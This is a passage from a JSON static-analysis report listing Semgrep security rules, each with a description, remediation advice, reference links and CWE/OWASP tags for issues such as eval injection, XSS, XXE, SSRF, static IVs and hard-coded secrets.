injection."},"help":{"markdown":"Evaluating non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Evaluating non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.eval-use.eval-use","id":"php.lang.security.eval-use.eval-use","name":"php.lang.security.eval-use.eval-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.eval-use.eval-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","id":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","name":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"help":{"markdown":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"helpUri":"https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string","id":"swift.lang.string.format-string.swift-format-string","name":"swift.lang.string.format-string.swift-format-string","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.string.format-string.swift-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request)\n - [https://nodejs.org/api/http.html#http_http_request_options_callback](https://nodejs.org/api/http.html#http_http_request_options_callback)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.http-request.http-request","id":"problem-based-packs.insecure-transport.js-node.http-request.http-request","name":"problem-based-packs.insecure-transport.js-node.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"help":{"markdown":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv)\n - [https://csrc.nist.gov/publications/detail/sp/800-38a/final](https://csrc.nist.gov/publications/detail/sp/800-38a/final)\n","text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"helpUri":"https://semgrep.dev/r/php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","id":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","name":"php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv","properties":{"precision":"very-high","tags":["CWE-329: Generation of Predictable IV with CBC Mode","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"help":{"markdown":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"helpUri":"https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json","id":"csharp.razor.security.html-raw-json.html-raw-json","name":"csharp.razor.security.html-raw-json.html-raw-json","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.razor.security.html-raw-json.html-raw-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","id":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","name":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe)\n - [https://github.com/astro/node-expat](https://github.com/astro/node-expat)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe","id":"javascript.express.security.express-expat-xxe.express-expat-xxe","name":"javascript.express.security.express-expat-xxe.express-expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-expat-xxe.express-expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"help":{"markdown":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.distributed.security.require-encryption)\n - [https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters](https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters)\n","text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"helpUri":"https://semgrep.dev/r/python.distributed.security.require-encryption","id":"python.distributed.security.require-encryption","name":"python.distributed.security.require-encryption","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.distributed.security.require-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"help":{"markdown":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)\n","text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","id":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","name":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","id":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","name":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"help":{"markdown":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall","id":"ruby.lang.security.dangerous-syscall.dangerous-syscall","name":"ruby.lang.security.dangerous-syscall.dangerous-syscall","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-syscall.dangerous-syscall"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","id":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","name":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"help":{"markdown":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","id":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","name":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","id":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","name":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","id":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","name":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"help":{"markdown":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path)\n - [https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/](https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/)\n","text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","id":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","name":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","id":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","name":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate 